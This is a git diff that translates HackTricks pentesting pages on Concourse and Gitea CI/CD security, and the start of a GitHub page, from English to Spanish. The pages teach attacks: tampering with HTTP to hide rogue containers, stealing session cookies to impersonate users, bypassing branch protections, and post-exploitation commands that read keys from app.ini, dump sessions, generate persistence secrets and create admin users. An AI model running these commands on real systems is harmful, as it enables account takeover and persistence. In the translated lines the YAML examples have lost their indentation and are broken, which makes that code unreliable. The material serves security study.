- 'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
+--header='Content-Type:application/json' \
+'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'
```
-
-However, the web server is checking every few seconds the containers that are running, and if an unexpected one is discovered, it will be deleted. As the communication is occurring in HTTP, you could tamper the communication to avoid the deletion of unexpected containers:
-
+Sin embargo, el servidor web está verificando cada pocos segundos los contenedores que se están ejecutando, y si se descubre uno inesperado, será eliminado. Como la comunicación se realiza en HTTP, podrías manipular la comunicación para evitar la eliminación de contenedores inesperados:
```
GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
@@ -434,13 +409,8 @@ Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
```
-
-## References
+## Referencias
- https://concourse-ci.org/vars.html
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
index 0cc6363a7..315c60137 100644
--- a/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
+++ b/src/pentesting-ci-cd/concourse-security/concourse-lab-creation.md
@@ -1,26 +1,23 @@
-# Concourse Lab Creation
+# Creación del Laboratorio Concourse
{{#include ../../banners/hacktricks-training.md}}
-## Testing Environment
+## Entorno de Pruebas
-### Running Concourse
+### Ejecutando Concourse
-#### With Docker-Compose
-
-This docker-compose file simplifies the installation to do some tests with concourse:
+#### Con Docker-Compose
+Este archivo docker-compose simplifica la instalación para realizar algunas pruebas con concourse:
```bash
wget https://raw.githubusercontent.com/starkandwayne/concourse-tutorial/master/docker-compose.yml
docker-compose up -d
```
+Puedes descargar la línea de comandos `fly` para tu sistema operativo desde la web en `127.0.0.1:8080`
-You can download the command line `fly` for your OS from the web in `127.0.0.1:8080`
-
-#### With Kubernetes (Recommended)
-
-You can easily deploy concourse in **Kubernetes** (in **minikube** for example) using the helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
+#### Con Kubernetes (Recomendado)
+Puedes desplegar concourse fácilmente en **Kubernetes** (en **minikube** por ejemplo) usando el helm-chart: [**concourse-chart**](https://github.com/concourse/concourse-chart).
```bash
brew install helm
helm repo add concourse https://concourse-charts.storage.googleapis.com/
@@ -31,94 +28,90 @@ helm install concourse-release concourse/concourse
# If you need to delete it
helm delete concourse-release
```
-
-After generating the concourse env, you could generate a secret and give a access to the SA running in concourse web to access K8s secrets:
-
+Después de generar el entorno de concourse, podrías generar un secreto y dar acceso al SA que se ejecuta en concourse web para acceder a los secretos de K8s:
```yaml
echo 'apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRole
metadata:
- name: read-secrets
+name: read-secrets
rules:
- apiGroups: [""]
- resources: ["secrets"]
- verbs: ["get"]
+resources: ["secrets"]
+verbs: ["get"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
- name: read-secrets-concourse
+name: read-secrets-concourse
roleRef:
- apiGroup: rbac.authorization.k8s.io
- kind: ClusterRole
- name: read-secrets
+apiGroup: rbac.authorization.k8s.io
+kind: ClusterRole
+name: read-secrets
subjects:
- kind: ServiceAccount
- name: concourse-release-web
- namespace: default
+name: concourse-release-web
+namespace: default
---
apiVersion: v1
kind: Secret
metadata:
- name: super
- namespace: concourse-release-main
+name: super
+namespace: concourse-release-main
type: Opaque
data:
- secret: MWYyZDFlMmU2N2Rm
+secret: MWYyZDFlMmU2N2Rm
' | kubectl apply -f -
```
+### Crear Pipeline
-### Create Pipeline
-
-A pipeline is made of a list of [Jobs](https://concourse-ci.org/jobs.html) which contains an ordered list of [Steps](https://concourse-ci.org/steps.html).
+Un pipeline está compuesto por una lista de [Jobs](https://concourse-ci.org/jobs.html) que contiene una lista ordenada de [Steps](https://concourse-ci.org/steps.html).
### Steps
-Several different type of steps can be used:
+Se pueden utilizar varios tipos diferentes de pasos:
-- **the** [**`task` step**](https://concourse-ci.org/task-step.html) **runs a** [**task**](https://concourse-ci.org/tasks.html)
-- the [`get` step](https://concourse-ci.org/get-step.html) fetches a [resource](https://concourse-ci.org/resources.html)
-- the [`put` step](https://concourse-ci.org/put-step.html) updates a [resource](https://concourse-ci.org/resources.html)
-- the [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configures a [pipeline](https://concourse-ci.org/pipelines.html)
-- the [`load_var` step](https://concourse-ci.org/load-var-step.html) loads a value into a [local var](https://concourse-ci.org/vars.html#local-vars)
-- the [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) runs steps in parallel
-- the [`do` step](https://concourse-ci.org/do-step.html) runs steps in sequence
-- the [`across` step modifier](https://concourse-ci.org/across-step.html#schema.across) runs a step multiple times; once for each combination of variable values
-- the [`try` step](https://concourse-ci.org/try-step.html) attempts to run a step and succeeds even if the step fails
+- **el** [**paso `task`**](https://concourse-ci.org/task-step.html) **ejecuta una** [**tarea**](https://concourse-ci.org/tasks.html)
+- el [`get` step](https://concourse-ci.org/get-step.html) obtiene un [recurso](https://concourse-ci.org/resources.html)
+- el [`put` step](https://concourse-ci.org/put-step.html) actualiza un [recurso](https://concourse-ci.org/resources.html)
+- el [`set_pipeline` step](https://concourse-ci.org/set-pipeline-step.html) configura un [pipeline](https://concourse-ci.org/pipelines.html)
+- el [`load_var` step](https://concourse-ci.org/load-var-step.html) carga un valor en una [var local](https://concourse-ci.org/vars.html#local-vars)
+- el [`in_parallel` step](https://concourse-ci.org/in-parallel-step.html) ejecuta pasos en paralelo
+- el [`do` step](https://concourse-ci.org/do-step.html) ejecuta pasos en secuencia
+- el modificador de paso [`across`](https://concourse-ci.org/across-step.html#schema.across) ejecuta un paso múltiples veces; una vez por cada combinación de valores de variable
+- el [`try` step](https://concourse-ci.org/try-step.html) intenta ejecutar un paso y tiene éxito incluso si el paso falla
-Each [step](https://concourse-ci.org/steps.html) in a [job plan](https://concourse-ci.org/jobs.html#schema.job.plan) runs in its **own container**. You can run anything you want inside the container _(i.e. run my tests, run this bash script, build this image, etc.)_. So if you have a job with five steps Concourse will create five containers, one for each step.
+Cada [step](https://concourse-ci.org/steps.html) en un [plan de trabajo](https://concourse-ci.org/jobs.html#schema.job.plan) se ejecuta en su **propio contenedor**. Puedes ejecutar lo que desees dentro del contenedor _(es decir, ejecutar mis pruebas, ejecutar este script bash, construir esta imagen, etc.)_. Así que si tienes un trabajo con cinco pasos, Concourse creará cinco contenedores, uno para cada paso.
-Therefore, it's possible to indicate the type of container each step needs to be run in.
-
-### Simple Pipeline Example
+Por lo tanto, es posible indicar el tipo de contenedor en el que cada paso necesita ser ejecutado.
+### Ejemplo de Pipeline Simple
```yaml
jobs:
- - name: simple
- plan:
- - task: simple-task
- privileged: true
- config:
- # Tells Concourse which type of worker this task should run on
- platform: linux
- image_resource:
- type: registry-image
- source:
- repository: busybox # images are pulled from docker hub by default
- run:
- path: sh
- args:
- - -cx
- - |
- sleep 1000
- echo "$SUPER_SECRET"
- params:
- SUPER_SECRET: ((super.secret))
+- name: simple
+plan:
+- task: simple-task
+privileged: true
+config:
+# Tells Concourse which type of worker this task should run on
+platform: linux
+image_resource:
+type: registry-image
+source:
+repository: busybox # images are pulled from docker hub by default
+run:
+path: sh
+args:
+- -cx
+- |
+sleep 1000
+echo "$SUPER_SECRET"
+params:
+SUPER_SECRET: ((super.secret))
```
```bash
@@ -130,26 +123,21 @@ fly -t tutorial trigger-job --job pipe-name/simple --watch
# From another console
fly -t tutorial intercept --job pipe-name/simple
```
+Verifica **127.0.0.1:8080** para ver el flujo de la tubería.
-Check **127.0.0.1:8080** to see the pipeline flow.
+### Script de Bash con tubería de salida/entrada
-### Bash script with output/input pipeline
+Es posible **guardar los resultados de una tarea en un archivo** e indicar que es una salida y luego indicar la entrada de la siguiente tarea como la salida de la tarea anterior. Lo que hace concourse es **montar el directorio de la tarea anterior en la nueva tarea donde puedes acceder a los archivos creados por la tarea anterior**.
-It's possible to **save the results of one task in a file** and indicate that it's an output and then indicate the input of the next task as the output of the previous task. What concourse does is to **mount the directory of the previous task in the new task where you can access the files created by the previous task**.
+### Disparadores
-### Triggers
+No necesitas activar los trabajos manualmente cada vez que necesites ejecutarlos, también puedes programarlos para que se ejecuten cada vez:
-You don't need to trigger the jobs manually every-time you need to run them, you can also program them to be run every-time:
+- Pasa un tiempo: [Time resource](https://github.com/concourse/time-resource/)
+- En nuevos commits a la rama principal: [Git resource](https://github.com/concourse/git-resource)
+- Nuevas PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
+- Obtener o enviar la última imagen de tu aplicación: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-- Some time passes: [Time resource](https://github.com/concourse/time-resource/)
-- On new commits to the main branch: [Git resource](https://github.com/concourse/git-resource)
-- New PR's: [Github-PR resource](https://github.com/telia-oss/github-pr-resource)
-- Fetch or push the latest image of your app: [Registry-image resource](https://github.com/concourse/registry-image-resource/)
-
-Check a YAML pipeline example that triggers on new commits to master in [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
+Consulta un ejemplo de tubería YAML que se activa con nuevos commits a master en [https://concourse-ci.org/tutorial-resources.html](https://concourse-ci.org/tutorial-resources.html)
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/README.md b/src/pentesting-ci-cd/gitea-security/README.md
index bf4f6485a..dd9eec7e7 100644
--- a/src/pentesting-ci-cd/gitea-security/README.md
+++ b/src/pentesting-ci-cd/gitea-security/README.md
@@ -2,141 +2,129 @@
{{#include ../../banners/hacktricks-training.md}}
-## What is Gitea
+## Qué es Gitea
-**Gitea** is a **self-hosted community managed lightweight code hosting** solution written in Go.
+**Gitea** es una **solución de alojamiento de código ligera gestionada por la comunidad y autoalojada** escrita en Go.
.png>)
-### Basic Information
+### Información Básica
{{#ref}}
basic-gitea-information.md
{{#endref}}
-## Lab
-
-To run a Gitea instance locally you can just run a docker container:
+## Laboratorio
+Para ejecutar una instancia de Gitea localmente, solo puedes ejecutar un contenedor de docker:
```bash
docker run -p 3000:3000 gitea/gitea
```
+Conéctate al puerto 3000 para acceder a la página web.
-Connect to port 3000 to access the web page.
-
-You could also run it with kubernetes:
-
+También podrías ejecutarlo con kubernetes:
```
helm repo add gitea-charts https://dl.gitea.io/charts/
helm install gitea gitea-charts/gitea
```
+## Enumeración No Autenticada
-## Unauthenticated Enumeration
+- Repos públicos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
+- Usuarios registrados: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
+- Organizaciones registradas: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
-- Public repos: [http://localhost:3000/explore/repos](http://localhost:3000/explore/repos)
-- Registered users: [http://localhost:3000/explore/users](http://localhost:3000/explore/users)
-- Registered Organizations: [http://localhost:3000/explore/organizations](http://localhost:3000/explore/organizations)
+Ten en cuenta que por **defecto Gitea permite que nuevos usuarios se registren**. Esto no dará un acceso especialmente interesante a los nuevos usuarios sobre otros repos de organizaciones/usuarios, pero un **usuario autenticado** podría **visualizar más repos u organizaciones**.
-Note that by **default Gitea allows new users to register**. This won't give specially interesting access to the new users over other organizations/users repos, but a **logged in user** might be able to **visualize more repos or organizations**.
+## Explotación Interna
-## Internal Exploitation
+Para este escenario vamos a suponer que has obtenido algún acceso a una cuenta de github.
-For this scenario we are going to suppose that you have obtained some access to a github account.
+### Con Credenciales de Usuario/Cookie Web
-### With User Credentials/Web Cookie
+Si de alguna manera ya tienes credenciales para un usuario dentro de una organización (o robaste una cookie de sesión) puedes **simplemente iniciar sesión** y verificar qué **permisos tienes** sobre qué **repos,** en **qué equipos** estás, **listar otros usuarios**, y **cómo están protegidos los repos.**
-If you somehow already have credentials for a user inside an organization (or you stole a session cookie) you can **just login** and check which which **permissions you have** over which **repos,** in **which teams** you are, **list other users**, and **how are the repos protected.**
-
-Note that **2FA may be used** so you will only be able to access this information if you can also **pass that check**.
+Ten en cuenta que **se puede usar 2FA** así que solo podrás acceder a esta información si también puedes **pasar esa verificación**.
> [!NOTE]
-> Note that if you **manage to steal the `i_like_gitea` cookie** (currently configured with SameSite: Lax) you can **completely impersonate the user** without needing credentials or 2FA.
+> Ten en cuenta que si **logras robar la cookie `i_like_gitea`** (actualmente configurada con SameSite: Lax) puedes **suplantar completamente al usuario** sin necesidad de credenciales o 2FA.
-### With User SSH Key
+### Con Clave SSH de Usuario
-Gitea allows **users** to set **SSH keys** that will be used as **authentication method to deploy code** on their behalf (no 2FA is applied).
-
-With this key you can perform **changes in repositories where the user has some privileges**, however you can not use it to access gitea api to enumerate the environment. However, you can **enumerate local settings** to get information about the repos and user you have access to:
+Gitea permite a **los usuarios** establecer **claves SSH** que se utilizarán como **método de autenticación para desplegar código** en su nombre (no se aplica 2FA).
+Con esta clave puedes realizar **cambios en repositorios donde el usuario tiene algunos privilegios**, sin embargo, no puedes usarla para acceder a la API de gitea para enumerar el entorno. Sin embargo, puedes **enumerar configuraciones locales** para obtener información sobre los repos y el usuario al que tienes acceso:
```bash
# Go to the the repository folder
# Get repo config and current user name and email
git config --list
```
+Si el usuario ha configurado su nombre de usuario como su nombre de usuario de gitea, puedes acceder a las **claves públicas que ha establecido** en su cuenta en _https://github.com/\.keys_, podrías verificar esto para confirmar que la clave privada que encontraste puede ser utilizada.
-If the user has configured its username as his gitea username you can access the **public keys he has set** in his account in _https://github.com/\.keys_, you could check this to confirm the private key you found can be used.
+**Las claves SSH** también se pueden establecer en los repositorios como **claves de despliegue**. Cualquiera con acceso a esta clave podrá **lanzar proyectos desde un repositorio**. Usualmente, en un servidor con diferentes claves de despliegue, el archivo local **`~/.ssh/config`** te dará información sobre a qué clave está relacionada.
-**SSH keys** can also be set in repositories as **deploy keys**. Anyone with access to this key will be able to **launch projects from a repository**. Usually in a server with different deploy keys the local file **`~/.ssh/config`** will give you info about key is related.
+#### Claves GPG
-#### GPG Keys
-
-As explained [**here**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md) sometimes it's needed to sign the commits or you might get discovered.
-
-Check locally if the current user has any key with:
+Como se explicó [**aquí**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/gitea-security/broken-reference/README.md), a veces es necesario firmar los commits o podrías ser descubierto.
+Verifica localmente si el usuario actual tiene alguna clave con:
```shell
gpg --list-secret-keys --keyid-format=long
```
+### Con Token de Usuario
-### With User Token
+Para una introducción sobre [**Tokens de Usuario consulta la información básica**](basic-gitea-information.md#personal-access-tokens).
-For an introduction about [**User Tokens check the basic information**](basic-gitea-information.md#personal-access-tokens).
+Un token de usuario puede ser utilizado **en lugar de una contraseña** para **autenticar** contra el servidor de Gitea [**a través de la API**](https://try.gitea.io/api/swagger#/). tendrá **acceso completo** sobre el usuario.
-A user token can be used **instead of a password** to **authenticate** against Gitea server [**via API**](https://try.gitea.io/api/swagger#/). it will has **complete access** over the user.
+### Con Aplicación Oauth
-### With Oauth Application
+Para una introducción sobre [**Aplicaciones Oauth de Gitea consulta la información básica**](./#with-oauth-application).
-For an introduction about [**Gitea Oauth Applications check the basic information**](./#with-oauth-application).
+Un atacante podría crear una **Aplicación Oauth maliciosa** para acceder a datos/acciones privilegiadas de los usuarios que las acepten probablemente como parte de una campaña de phishing.
-An attacker might create a **malicious Oauth Application** to access privileged data/actions of the users that accepts them probably as part of a phishing campaign.
+Como se explicó en la información básica, la aplicación tendrá **acceso total sobre la cuenta del usuario**.
-As explained in the basic information, the application will have **full access over the user account**.
+### Bypass de Protección de Ramas
-### Branch Protection Bypass
+En Github tenemos **github actions** que por defecto obtienen un **token con acceso de escritura** sobre el repositorio que puede ser utilizado para **eludir las protecciones de ramas**. En este caso eso **no existe**, por lo que los bypass son más limitados. Pero veamos qué se puede hacer:
-In Github we have **github actions** which by default get a **token with write access** over the repo that can be used to **bypass branch protections**. In this case that **doesn't exist**, so the bypasses are more limited. But lets take a look to what can be done:
+- **Habilitar Push**: Si alguien con acceso de escritura puede hacer push a la rama, simplemente haz push a ella.
+- **Whitelist Restricted Push**: De la misma manera, si eres parte de esta lista haz push a la rama.
+- **Habilitar Merge Whitelist**: Si hay una lista blanca de merges, necesitas estar dentro de ella.
+- **Requerir aprobaciones es mayor que 0**: Entonces... necesitas comprometer a otro usuario.
+- **Restringir aprobaciones a los que están en la lista blanca**: Si solo los usuarios en la lista blanca pueden aprobar... necesitas comprometer a otro usuario que esté dentro de esa lista.
+- **Desestimar aprobaciones obsoletas**: Si las aprobaciones no se eliminan con nuevos commits, podrías secuestrar un PR ya aprobado para inyectar tu código y fusionar el PR.
-- **Enable Push**: If anyone with write access can push to the branch, just push to it.
-- **Whitelist Restricted Pus**h: The same way, if you are part of this list push to the branch.
-- **Enable Merge Whitelist**: If there is a merge whitelist, you need to be inside of it
-- **Require approvals is bigger than 0**: Then... you need to compromise another user
-- **Restrict approvals to whitelisted**: If only whitelisted users can approve... you need to compromise another user that is inside that list
-- **Dismiss stale approvals**: If approvals are not removed with new commits, you could hijack an already approved PR to inject your code and merge the PR.
+Ten en cuenta que **si eres un administrador de org/repositorio** puedes eludir las protecciones.
-Note that **if you are an org/repo admin** you can bypass the protections.
+### Enumerar Webhooks
-### Enumerate Webhooks
+**Webhooks** son capaces de **enviar información específica de gitea a algunos lugares**. Podrías ser capaz de **explotar esa comunicación**.\
+Sin embargo, generalmente se establece un **secreto** que no puedes **recuperar** en el **webhook** que **previene** que usuarios externos que conocen la URL del webhook pero no el secreto **exploten ese webhook**.\
+Pero en algunas ocasiones, las personas en lugar de establecer el **secreto** en su lugar, lo **establecen en la URL** como un parámetro, por lo que **verificar las URLs** podría permitirte **encontrar secretos** y otros lugares que podrías explotar más adelante.
-**Webhooks** are able to **send specific gitea information to some places**. You might be able to **exploit that communication**.\
-However, usually a **secret** you can **not retrieve** is set in the **webhook** that will **prevent** external users that know the URL of the webhook but not the secret to **exploit that webhook**.\
-But in some occasions, people instead of setting the **secret** in its place, they **set it in the URL** as a parameter, so **checking the URLs** could allow you to **find secrets** and other places you could exploit further.
+Los webhooks pueden ser establecidos a **nivel de repositorio y de organización**.
-Webhooks can be set at **repo and at org level**.
+## Post Explotación
-## Post Exploitation
+### Dentro del servidor
-### Inside the server
+Si de alguna manera lograste entrar en el servidor donde se está ejecutando gitea, deberías buscar el archivo de configuración de gitea. Por defecto se encuentra en `/data/gitea/conf/app.ini`
-If somehow you managed to get inside the server where gitea is running you should search for the gitea configuration file. By default it's located in `/data/gitea/conf/app.ini`
+En este archivo puedes encontrar **claves** y **contraseñas**.
-In this file you can find **keys** and **passwords**.
+En la ruta de gitea (por defecto: /data/gitea) también puedes encontrar información interesante como:
-In the gitea path (by default: /data/gitea) you can find also interesting information like:
+- La base de datos **sqlite**: Si gitea no está utilizando una base de datos externa, utilizará una base de datos sqlite.
+- Las **sesiones** dentro de la carpeta de sesiones: Ejecutando `cat sessions/*/*/*` puedes ver los nombres de usuario de los usuarios conectados (gitea también podría guardar las sesiones dentro de la base de datos).
+- La **clave privada jwt** dentro de la carpeta jwt.
+- Más **información sensible** podría encontrarse en esta carpeta.
-- The **sqlite** DB: If gitea is not using an external db it will use a sqlite db
-- The **sessions** inside the sessions folder: Running `cat sessions/*/*/*` you can see the usernames of the logged users (gitea could also save the sessions inside the DB).
-- The **jwt private key** inside the jwt folder
-- More **sensitive information** could be found in this folder
+Si estás dentro del servidor también puedes **usar el binario `gitea`** para acceder/modificar información:
-If you are inside the server you can also **use the `gitea` binary** to access/modify information:
-
-- `gitea dump` will dump gitea and generate a .zip file
-- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` will generate a token of the indicated type (persistence)
-- `gitea admin user change-password --username admin --password newpassword` Change the password
-- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Create new admin user and get an access token
+- `gitea dump` volcará gitea y generará un archivo .zip.
+- `gitea generate secret INTERNAL_TOKEN/JWT_SECRET/SECRET_KEY/LFS_JWT_SECRET` generará un token del tipo indicado (persistencia).
+- `gitea admin user change-password --username admin --password newpassword` Cambia la contraseña.
+- `gitea admin user create --username newuser --password superpassword --email user@user.user --admin --access-token` Crea un nuevo usuario administrador y obtiene un token de acceso.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
index e6e4d9ba3..cfcc0bb1a 100644
--- a/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
+++ b/src/pentesting-ci-cd/gitea-security/basic-gitea-information.md
@@ -1,107 +1,103 @@
-# Basic Gitea Information
+# Información Básica de Gitea
{{#include ../../banners/hacktricks-training.md}}
-## Basic Structure
+## Estructura Básica
-The basic Gitea environment structure is to group repos by **organization(s),** each of them may contain **several repositories** and **several teams.** However, note that just like in github users can have repos outside of the organization.
+La estructura básica del entorno de Gitea es agrupar repos por **organización(es),** cada una de ellas puede contener **varios repositorios** y **varios equipos.** Sin embargo, ten en cuenta que al igual que en github, los usuarios pueden tener repos fuera de la organización.
-Moreover, a **user** can be a **member** of **different organizations**. Within the organization the user may have **different permissions over each repository**.
+Además, un **usuario** puede ser **miembro** de **diferentes organizaciones**. Dentro de la organización, el usuario puede tener **diferentes permisos sobre cada repositorio**.
-A user may also be **part of different teams** with different permissions over different repos.
+Un usuario también puede ser **parte de diferentes equipos** con diferentes permisos sobre diferentes repos.
-And finally **repositories may have special protection mechanisms**.
+Y finalmente, **los repositorios pueden tener mecanismos de protección especiales**.
-## Permissions
+## Permisos
-### Organizations
+### Organizaciones
-When an **organization is created** a team called **Owners** is **created** and the user is put inside of it. This team will give **admin access** over the **organization**, those **permissions** and the **name** of the team **cannot be modified**.
+Cuando se **crea una organización**, se crea un equipo llamado **Owners** y el usuario se coloca dentro de él. Este equipo dará **acceso de administrador** sobre la **organización**, esos **permisos** y el **nombre** del equipo **no pueden ser modificados**.
-**Org admins** (owners) can select the **visibility** of the organization:
+**Los administradores de la organización** (propietarios) pueden seleccionar la **visibilidad** de la organización:
-- Public
-- Limited (logged in users only)
-- Private (members only)
+- Pública
+- Limitada (solo usuarios registrados)
+- Privada (solo miembros)
-**Org admins** can also indicate if the **repo admins** can **add and or remove access** for teams. They can also indicate the max number of repos.
+**Los administradores de la organización** también pueden indicar si los **administradores de repos** pueden **agregar o eliminar acceso** para equipos. También pueden indicar el número máximo de repos.
-When creating a new team, several important settings are selected:
+Al crear un nuevo equipo, se seleccionan varias configuraciones importantes:
-- It's indicated the **repos of the org the members of the team will be able to access**: specific repos (repos where the team is added) or all.
-- It's also indicated **if members can create new repos** (creator will get admin access to it)
-- The **permissions** the **members** of the repo will **have**:
- - **Administrator** access
- - **Specific** access:
+- Se indica los **repos de la org a los que los miembros del equipo podrán acceder**: repos específicos (repos donde se agrega el equipo) o todos.
+- También se indica **si los miembros pueden crear nuevos repos** (el creador obtendrá acceso de administrador a él)
+- Los **permisos** que los **miembros** del repos **tendrán**:
+- Acceso **Administrador**
+- Acceso **Específico**:
.png>)
-### Teams & Users
+### Equipos y Usuarios
-In a repo, the **org admin** and the **repo admins** (if allowed by the org) can **manage the roles** given to collaborators (other users) and teams. There are **3** possible **roles**:
+En un repositorio, el **administrador de la org** y los **administradores de repos** (si lo permite la org) pueden **gestionar los roles** otorgados a colaboradores (otros usuarios) y equipos. Hay **3** posibles **roles**:
-- Administrator
-- Write
-- Read
+- Administrador
+- Escribir
+- Leer
-## Gitea Authentication
+## Autenticación de Gitea
-### Web Access
+### Acceso Web
-Using **username + password** and potentially (and recommended) a 2FA.
+Usando **nombre de usuario + contraseña** y potencialmente (y recomendado) un 2FA.
-### **SSH Keys**
+### **Claves SSH**
-You can configure your account with one or several public keys allowing the related **private key to perform actions on your behalf.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
+Puedes configurar tu cuenta con una o varias claves públicas que permiten que la clave **privada relacionada realice acciones en tu nombre.** [http://localhost:3000/user/settings/keys](http://localhost:3000/user/settings/keys)
-#### **GPG Keys**
+#### **Claves GPG**
-You **cannot impersonate the user with these keys** but if you don't use it it might be possible that you **get discover for sending commits without a signature**.
+No **puedes suplantar al usuario con estas claves**, pero si no las usas, podría ser posible que **se descubra que envías commits sin una firma**.
-### **Personal Access Tokens**
+### **Tokens de Acceso Personal**
-You can generate personal access token to **give an application access to your account**. A personal access token gives full access over your account: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
+Puedes generar un token de acceso personal para **dar acceso a una aplicación a tu cuenta**. Un token de acceso personal otorga acceso completo a tu cuenta: [http://localhost:3000/user/settings/applications](http://localhost:3000/user/settings/applications)
-### Oauth Applications
+### Aplicaciones Oauth
-Just like personal access tokens **Oauth applications** will have **complete access** over your account and the places your account has access because, as indicated in the [docs](https://docs.gitea.io/en-us/oauth2-provider/#scopes), scopes aren't supported yet:
+Al igual que los tokens de acceso personal, las **aplicaciones Oauth** tendrán **acceso completo** a tu cuenta y a los lugares a los que tu cuenta tiene acceso porque, como se indica en la [documentación](https://docs.gitea.io/en-us/oauth2-provider/#scopes), los alcances aún no son compatibles:
.png>)
-### Deploy keys
+### Claves de Despliegue
-Deploy keys might have read-only or write access to the repo, so they might be interesting to compromise specific repos.
+Las claves de despliegue pueden tener acceso de solo lectura o de escritura al repositorio, por lo que pueden ser interesantes para comprometer repos específicos.
-## Branch Protections
+## Protecciones de Ramas
-Branch protections are designed to **not give complete control of a repository** to the users. The goal is to **put several protection methods before being able to write code inside some branch**.
+Las protecciones de ramas están diseñadas para **no dar control completo de un repositorio** a los usuarios. El objetivo es **implementar varios métodos de protección antes de poder escribir código dentro de alguna rama**.
-The **branch protections of a repository** can be found in _https://localhost:3000/\/\/settings/branches_
+Las **protecciones de ramas de un repositorio** se pueden encontrar en _https://localhost:3000/\/\/settings/branches_
> [!NOTE]
-> It's **not possible to set a branch protection at organization level**. So all of them must be declared on each repo.
+> No es **posible establecer una protección de rama a nivel de organización**. Por lo tanto, todas deben ser declaradas en cada repositorio.
-Different protections can be applied to a branch (like to master):
+Se pueden aplicar diferentes protecciones a una rama (como a master):
-- **Disable Push**: No-one can push to this branch
-- **Enable Push**: Anyone with access can push, but not force push.
-- **Whitelist Restricted Push**: Only selected users/teams can push to this branch (but no force push)
-- **Enable Merge Whitelist**: Only whitelisted users/teams can merge PRs.
-- **Enable Status checks:** Require status checks to pass before merging.
-- **Require approvals**: Indicate the number of approvals required before a PR can be merged.
-- **Restrict approvals to whitelisted**: Indicate users/teams that can approve PRs.
-- **Block merge on rejected reviews**: If changes are requested, it cannot be merged (even if the other checks pass)
-- **Block merge on official review requests**: If there official review requests it cannot be merged
-- **Dismiss stale approvals**: When new commits, old approvals will be dismissed.
-- **Require Signed Commits**: Commits must be signed.
-- **Block merge if pull request is outdated**
-- **Protected/Unprotected file patterns**: Indicate patterns of files to protect/unprotect against changes
+- **Deshabilitar Push**: Nadie puede hacer push a esta rama
+- **Habilitar Push**: Cualquiera con acceso puede hacer push, pero no forzar push.
+- **Lista Blanca de Push Restringido**: Solo usuarios/equipos seleccionados pueden hacer push a esta rama (pero no forzar push)
+- **Habilitar Lista Blanca de Merge**: Solo usuarios/equipos en la lista blanca pueden fusionar PRs.
+- **Habilitar Verificaciones de Estado:** Requiere que las verificaciones de estado pasen antes de fusionar.
+- **Requerir aprobaciones**: Indica el número de aprobaciones requeridas antes de que un PR pueda ser fusionado.
+- **Restringir aprobaciones a los de la lista blanca**: Indica usuarios/equipos que pueden aprobar PRs.
+- **Bloquear fusión en revisiones rechazadas**: Si se solicitan cambios, no se puede fusionar (incluso si las otras verificaciones pasan)
+- **Bloquear fusión en solicitudes de revisión oficiales**: Si hay solicitudes de revisión oficiales, no se puede fusionar
+- **Desestimar aprobaciones obsoletas**: Cuando hay nuevos commits, las aprobaciones antiguas serán desestimadas.
+- **Requerir Commits Firmados**: Los commits deben estar firmados.
+- **Bloquear fusión si la solicitud de extracción está desactualizada**
+- **Patrones de archivos protegidos/no protegidos**: Indica patrones de archivos para proteger/no proteger contra cambios
> [!NOTE]
-> As you can see, even if you managed to obtain some credentials of a user, **repos might be protected avoiding you to pushing code to master** for example to compromise the CI/CD pipeline.
+> Como puedes ver, incluso si lograste obtener algunas credenciales de un usuario, **los repos pueden estar protegidos evitando que empujes código a master**, por ejemplo, para comprometer el pipeline de CI/CD.
{{#include ../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-ci-cd/github-security/README.md b/src/pentesting-ci-cd/github-security/README.md
index cdad12b57..558038758 100644
--- a/src/pentesting-ci-cd/github-security/README.md
+++ b/src/pentesting-ci-cd/github-security/README.md
@@ -1,42 +1,42 @@
-# Github Security
+# Seguridad de Github
{{#include ../../banners/hacktricks-training.md}}
-## What is Github
+## Qué es Github
-(From [here](https://kinsta.com/knowledgebase/what-is-github/)) At a high level, **GitHub is a website and cloud-based service that helps developers store and manage their code, as well as track and control changes to their code**.
+(De [aquí](https://kinsta.com/knowledgebase/what-is-github/)) A un alto nivel, **GitHub es un sitio web y un servicio basado en la nube que ayuda a los desarrolladores a almacenar y gestionar su código, así como a rastrear y controlar los cambios en su código**.
-### Basic Information
+### Información Básica
{{#ref}}
basic-github-information.md
{{#endref}}
-## External Recon
+## Reconocimiento Externo
-Github repositories can be configured as public, private and internal.
+Los repositorios de Github pueden configurarse como públicos, privados e internos.
-- **Private** means that **only** people of the **organisation** will be able to access them
-- **Internal** means that **only** people of the **enterprise** (an enterprise may have several organisations) will be able to access it
-- **Public** means that **all internet** is going to be able to access it.
